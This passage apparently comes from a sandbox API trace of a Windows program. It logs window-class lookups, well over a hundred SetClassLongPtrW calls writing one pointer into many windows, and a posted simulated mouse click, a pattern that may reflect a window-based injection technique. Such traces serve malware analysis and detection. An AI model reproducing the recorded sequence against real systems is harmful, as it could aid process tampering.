ResultLength=0x18, Status=0x0) [0052.668] GetClassNameA (in: hWnd=0x123aa, lpClassName=0x261f940, nMaxCount=260 | out: lpClassName="SysShadow") returned 9 [0052.668] _strcmpi (_Str1="SysShadow", _Str2="sysshadow") returned 0 [0052.668] __fnINLPCREATESTRUCT () [0052.669] GetCurrentThreadId () returned 0xee0 [0052.669] GetClassNameA (in: hWnd=0x123aa, lpClassName=0x261f940, nMaxCount=260 | out: lpClassName="SysShadow") returned 9 [0052.669] __fnINLPCREATESTRUCT () [0052.669] GetCurrentThreadId () returned 0xee0 [0052.669] __fnDWORD () [0052.669] GetCurrentThreadId () returned 0xee0 [0052.669] __fnDWORD () [0052.673] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x47, wParam=0x0, lParam=0x261fb30) returned 0x0 [0052.673] GetCurrentThreadId () returned 0xee0 [0052.673] __fnDWORD () [0052.673] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x5, wParam=0x0, lParam=0x5000f2) returned 0x0 [0052.673] GetCurrentThreadId () returned 0xee0 [0052.673] __fnDWORD () [0052.673] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x3, wParam=0x0, lParam=0x227e215f) returned 0x0 [0052.674] SetClassLongPtrW (hWnd=0x20336, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.674] SetClassLongPtrW (hWnd=0x30148, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.674] SetClassLongPtrW (hWnd=0xc009c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.674] SetClassLongPtrW (hWnd=0x30334, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.674] SetClassLongPtrW (hWnd=0x20330, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.674] SetClassLongPtrW (hWnd=0x20332, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.674] SetClassLongPtrW (hWnd=0x20324, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.674] SetClassLongPtrW (hWnd=0x20326, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.674] SetClassLongPtrW (hWnd=0x20320, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.674] SetClassLongPtrW (hWnd=0x20322, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.674] SetClassLongPtrW (hWnd=0x2031c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.674] SetClassLongPtrW (hWnd=0x2031e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x20318, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x2031a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x20314, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x20316, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x30310, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x30312, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x20328, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x2032a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x2032c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x2032e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x30146, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x4030e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x10338, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x1033a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x1033c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x1033e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x10340, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x10342, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x10344, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x10346, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x10348, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x1034a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x1034c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x1034e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x10350, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x10352, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x10354, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x10356, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x10358, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x1035a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.675] SetClassLongPtrW (hWnd=0x1035c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x1035e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10360, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10362, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10364, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10366, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10368, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x1036a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x1036c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x1036e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10370, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10372, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10374, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10376, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10378, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x1037a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x1037c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x1037e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10380, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10382, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10384, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10386, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x10388, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x1038a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.676] SetClassLongPtrW (hWnd=0x1038c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x1038e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x10390, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x10392, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x10394, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x10396, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x10398, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x1039a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x1039c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x1039e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103a0, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103a2, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103a4, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103a6, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103a8, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103aa, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103ac, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103ae, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103b0, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103b2, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103b4, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103b6, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103b8, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103ba, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103bc, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103be, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103c0, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103c2, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103c4, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103c6, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.677] SetClassLongPtrW (hWnd=0x103c8, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103ca, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103cc, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103ce, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103d0, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103d2, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103d4, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103d6, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103d8, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103da, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103dc, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103de, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103e0, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103e2, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103e4, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103e6, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103e8, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103ea, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103ec, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103ee, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.678] SetClassLongPtrW (hWnd=0x103f0, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x103f2, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x103f4, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x103f6, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x103f8, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x103fa, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x103fc, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x103fe, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10400, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10402, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10404, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10406, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10408, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x1040a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x1040c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x1040e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10410, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10412, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10414, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10416, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10418, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x1041a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x1041c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x1041e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10420, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10422, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10424, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10426, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.679] SetClassLongPtrW (hWnd=0x10428, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x1042a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x1042c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x1042e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x10430, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x10432, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x10434, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x10436, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x10438, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x1043a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x1043c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x1043e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x10440, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x10442, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x10444, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x10446, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x10448, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x1044a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.680] SetClassLongPtrW (hWnd=0x1044c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1044e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10450, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10452, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10454, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10456, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10458, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1045a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1045c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1045e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10460, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10462, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10464, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10466, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10468, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1046a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1046c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1046e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10470, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10472, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10474, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10476, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10478, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1047a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1047c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1047e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10480, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10482, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10484, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10486, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10488, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1048a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1048c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1048e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10490, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10492, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10494, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10496, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x10498, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.681] SetClassLongPtrW (hWnd=0x1049a, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x1049c, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x1049e, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104a0, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104a2, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104a4, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104a6, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104a8, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104aa, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104ac, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104ae, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104b0, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104b2, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104b4, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104b6, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104b8, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104ba, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104bc, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104be, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104c0, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104c2, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104c4, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104c6, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104c8, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104ca, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104cc, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104ce, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104d0, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104d2, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104d4, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104d6, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104d8, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104da, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104dc, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104de, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104e0, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104e2, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.682] SetClassLongPtrW (hWnd=0x104e4, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.683] SetClassLongPtrW (hWnd=0x104e6, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.683] SetClassLongPtrW (hWnd=0x104e8, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.683] SetClassLongPtrW (hWnd=0x104ea, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.683] SetClassLongPtrW (hWnd=0x104ec, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.683] SetClassLongPtrW (hWnd=0x104ee, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.683] SetClassLongPtrW (hWnd=0x104f0, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.683] SetClassLongPtrW (hWnd=0x104f2, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.683] SetClassLongPtrW (hWnd=0x104f4, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.683] SetClassLongPtrW (hWnd=0x104f6, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.683] SetClassLongPtrW (hWnd=0x104f8, nIndex=-8, dwNewLong=0x261fc50) returned 0x0 [0052.702] Sleep (dwMilliseconds=0x12c) [0053.006] PostMessageA (hWnd=0x50108, Msg=0x201, wParam=0x1, lParam=0x1) returned 1 [0053.007] GetMessageA (in: lpMsg=0x261fc20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x261fc20) returned 1 [0053.007] TranslateMessage (lpMsg=0x261fc20) returned 0 [0053.007] DispatchMessageA (lpMsg=0x261fc20) [0053.008] GetCurrentThreadId () returned 0xee0 [0053.008] __ClientCallWinEventProc () [0053.008] GetCurrentThreadId () returned 0xee0 